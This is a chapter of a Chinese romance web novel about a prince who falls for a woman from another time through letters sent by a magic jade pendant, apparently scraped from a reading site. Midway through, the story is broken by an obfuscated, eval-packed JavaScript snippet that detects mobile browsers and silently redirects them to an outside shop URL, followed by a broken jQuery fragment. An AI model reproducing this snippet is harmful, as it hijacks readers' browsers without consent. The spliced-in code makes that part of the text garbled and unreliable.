清明这日,已是回京路上的第三日。

    阴雨绵绵,冷空气中夹杂糅着泥土和鲜草的味道。

    马蹄踩踏小洼池,水花四处飞溅,车身的抖动没影响到车内平稳端坐的人。

    瓜子壳被嗑破成两半的脆响一声接一声,时不时停顿半晌,随即传出翻纸张的动静。

    季衍错腿蹬了蚩夜寻一脚,“聒噪。”

    蚩夜寻不善马术,硬是蹭上了季衍的马车。

    算他有先见之明,在马车外风吹雨淋几日,说不定人还没到京城,半路上两脚一蹬嗝屁了。

    “京城路远,总不能啥都不干吧,我劝你活动活动,别等还没回到京城,屁股就生了痔疮。”

    季衍冷着张脸瞅了蚩夜寻一眼,拨开马车帘子,吩咐外边儿的人,“丁武,把他给我弄出去。”

    蚩夜寻按下帘子,收了话本子和瓜子袋,试图和季衍打感情牌:

    “哎呀,兄弟,我身上可是肩负着给你喜欢的姑娘看病的使命,你别跟我客气。”

    他笑得很假。

    季衍阖上漆眸。

    眼不见心不烦,谁跟蚩夜寻熟了。

    没利用价值季衍早给蚩夜寻两脚踹出去了。

    见季衍那样子,蚩夜寻幸灾乐祸地悄悄伸手进瓜子袋里。

    季衍像是长了第三只眼睛,冷沉的嗓音传出:“你嗑一颗试试?”

    蚩夜寻收手。

    又不是欠了季衍三百万没还,一副想刀人的脸色摆给谁看?

    巴掌大的手札砸过去,呈左右开合的状态兜在季衍腿间的衣袍中。

    手札是正常的蓝色封面,打开的两页全是密密麻麻的黑色字迹。

    季衍垂眸,慢慢掀开眼皮看去。

    字很丑。

    “别用你得了鸡爪疯的字恶心人。”

    季衍失眠了两三日。

    思来想去,未从蚩夜寻身上找到特别之处,除了会医术,再挑出优点来,很难。

    若只有嗓音好听这一个过人之处。

    呵……那就好办了。

    然而,蚩夜寻并不知晓季衍正在考虑是割了他的舌头,还是毒哑他的嗓子。

    他朝手札左甩头了两三次,动作浮夸,像是疯病复发。

    季衍余光发散去观察蚩夜寻,心里终归舒服了些。

    【绵羊】光听声音能听出什么名堂来,正眼看到人,大抵不会选一个疯疯癫癫的人。

    季衍说:“有病就治。”

    “一点儿默契都没有。”蚩夜寻嘁声,“兄弟,蚩氏追妻一百零一式,我专门给你准备的,拿去好好学,不用谢。”

    视线回到得了鸡爪疯的字迹上。

    单单看完整页,季衍嘴角一抽。

    追姑娘的方式?

    耍流氓还差不多。

    这页写着:把女子按在墙上,挑起她的下巴说,“从遇见你那天起,你从头到脚都是我的……”

    手札上的字定是用油写的,熏得眼睛如同被猪油糊住了似的,睁都睁不开,没法继续看下去。

    季衍两个指头捏住手札的一角,鄙夷地将手札扔回去。

    “把你的脏东西拿走。”

    蚩夜寻接住,他闻闻手札里的纸页。

    虽然为了赶进度写这本手札,带进去茅厕里写了一两回,但没掉进茅坑啊。

    又不臭,还嫌弃上了。

    手札又被放在了季衍身旁。

    蚩夜寻说:

    “信我的准没错,小姑娘都喜欢这种比较霸道的方式,你得向你喜欢的姑娘展示魅力。”

    “雄孔雀求偶还知道开屏呢,你别不争不抢。”

    “你瞧瞧你这几日的模样,看谁都带一种憎恨的情绪。”

    说着说着,季衍一个冷眼递到蚩夜寻身上。

    蚩夜寻拍大腿接着说:“就是这种眼神,干脆喊你妒夫得了。”

    季衍懒得理蚩夜寻。

    腰间的玉佩一直嗡嗡响,也只有他能听见玉佩的嗡动。

    蚩夜寻居然没发觉异样。

    没回【绵羊】的信件,从上次她夸完蚩夜寻到现在,季衍都没给任何答复。

    不过,新传过来的信,他习惯性地看完了,还有好几次竟然差点提笔写了回信。

    很糟糕,季衍已经察觉到了他变得与以前不太一样,这种变化是【绵羊】带来的。

    人摸不清内心时,下意识会选择逃避。

    而这种摸不清内心的感觉是来自于他们没见过面。

    看来得找机会见上一面。

    他人看起来恹恹的。

    蚩夜寻摸着下巴看季衍,叭叭叭说着:“你这几日你没睡好?”

    没道理啊,梦蛊能让人做好梦。

    加了些料,在春天做些颜色梦,区区一个梦不至于让季衍虚成这样吧!

    季衍身体不行?

    古代人,平日不懂得养肾?

    蚩夜寻得知惊天秘密般,平白无故地对空气点点头。

    他这回哑声了,筹谋起了何时给季衍抓几幅壮阳的草药补补身体。

    ……

    原先计划连夜赶路,所持的罪证需尽快回京上禀陛下,账册在手中一日,危险便大几分。

    预料到那批刺客不会罢休,却没料想到未驶出多少路程就遭了埋伏。

    交战后,没造成多少伤亡,但干粮大半丢失,不得不就近找了客栈宿下。

    蚩夜寻恐是被吓到了,要和季衍分开走。

    季衍派了丁武去保护蚩夜寻,两人各走一路,在寻客栈前便分开。

    少了蚩夜寻,世界清净不少。

    正午,不见阳光。

    站在木窗往远处眺望,雾气包围了一座座青山。

    雨丝淅淅沥沥打在屋瓦,风一吹,斜飞进屋,季衍周身多了些寒气。

    影一从暗处现身,抱拳说:“王爷。”

    季衍微怔,是他派出去查洪灾地的影卫回来了。

    他回身问:“查到了?”

    影一压低背,恭敬道:“遭了洪灾的只有柳州一地,但属下并未寻到王爷说的女子。还请王爷责罚!”

    “没寻到?”季衍的语气先是惊讶,慢慢归于平稳,他说,“相似的也没有?”

    影一:“王爷,属下寻遍柳州,未听到有写话本子的女先生。属下已向灾区捐了银两,与先前一致,并未暴露是王爷您出的资。”

    “本王知晓了。”季衍眼底掠过一抹不可察的诧异,甩袖独立窗前,凝视院中树木随雨摇曳的枝叶。

    没有寻到人。

    莫非是【绵羊】给柳州捐了钱财,可她并不是柳州人。

    问她,她没说,寻起来麻烦了。

    隔块玉佩,草草确定心意,对谁都不负责。

    季衍摸摸玉佩,看有没有新的信件传过来。

    新的信件每天都在减少,他不回信,信只会更少,今日还没收到【绵羊】的信件。

    遇袭

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17750640|208310||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    丢了很多物资,防潮的木箱没丢。

    季衍打开信件从头看到尾。

    他懊恼,拍了下额头。

    说好的每天有事无事吱一声,他食言了三日。

    季衍此刻懂了。

    他不敢回信全源自于对【绵羊】生了男女之情。

    先前【绵羊】没回信的那段日子,他心神不宁、烦闷。

    而这次他想晾一晾她,是想看她有何反应。

    但情爱这等事情,让女子着急开口,终归不妥。

    蚩夜寻说的没错,他应该主动一些。

    想通了,季衍写了一些东西,丝毫不拐弯抹角。

    【敛之】:吱。

    【敛之】:抱歉,我似乎有一点妒忌你夸蚩夜寻的嗓音好听。

    【敛之】:我深思三日得出,我若左右你的喜好,倒显得我小气。可我生来就不是大气之人,我妒忌了就是妒忌了,掩藏只会显得更小气。

    季衍还没写完想写的话,那头传来的信件打断了他。

    【绵羊】:你这人好可爱呀!

    【绵羊】:我在哭诶,看到你的消息都快笑出鼻涕泡了,都怪你!

    【绵羊】:你之前说要进京,我以为你最近在打理住所与行李,没空理我呢。没想到你是因为我夸了蚩夜寻才不回我消息。

    【绵羊】:敛之,是我惹你生气了,你道歉干嘛?

    另一个时空。

    鹿眠刚和顾星尧来到公墓群。

    她看见墓碑上的照片,情绪有些绷不住,干脆不说话,听着顾星尧对着母亲的墓碑碎碎念。

    越说越惹人掉眼泪,她借口上厕所,跑来了卫生间。

    正打算放一首轻快的音乐缓缓,看到【敛之】的消息,她真没忍住笑了。

    好奇怪,在公墓的卫生间又哭又笑。

    好在没人,太丢脸了。

    【敛之】的消息又来了,他每次道歉都飞快。

    【敛之】:抱歉,是我的错。

    【敛之】:你为何在哭?还是我的错,我最近没回你信但看了传来的这些,前日你腹泻症状已经好了,今日身子又不适了?

    鹿眠掏出一包纸巾,撕成两半,擤了鼻涕,往垃圾筐扔垃圾。

    接连扔了好四五个纸团,最后拿了半截纸巾边擦眼泪边打字。

    【绵羊】:我没事,今天是清明嘛,我和弟弟来扫母亲的墓,没忍住就哭了。

    【绵羊】:说实话,今天我第一次清明来给我母亲扫墓。

    【绵羊】:你还要说些什么吗?晚上得陪陪我弟,我怕他绷不住情绪。我近十天都比较忙,可能回不了你几句话。

    季衍捏着信纸的手指蜷了蜷。

    将近十日,时间挺长的,坐马车太慢,既然蚩夜寻不和他一道,他便可骑快马回京城。

    十日能走一半路程,说不准会错过【绵羊】家。

    季衍后悔了。

    早一天想通,也不至于卡在今日这个日子。

    他小心翼翼地回。

    【敛之】:还有几句话。

    【敛之】:替我向伯母问声好,伯母自然是盼你顺遂无虞,你别太伤心。若想倾诉,我随时在。

    【敛之】:有些话今日说确实不妥,那便改日挑一个好日子再说。

    【敛之】:你家住何方?我去寻你。

    季衍想挑明。

    但对心上人说的话,这次没机会。

    那下次,他当面说。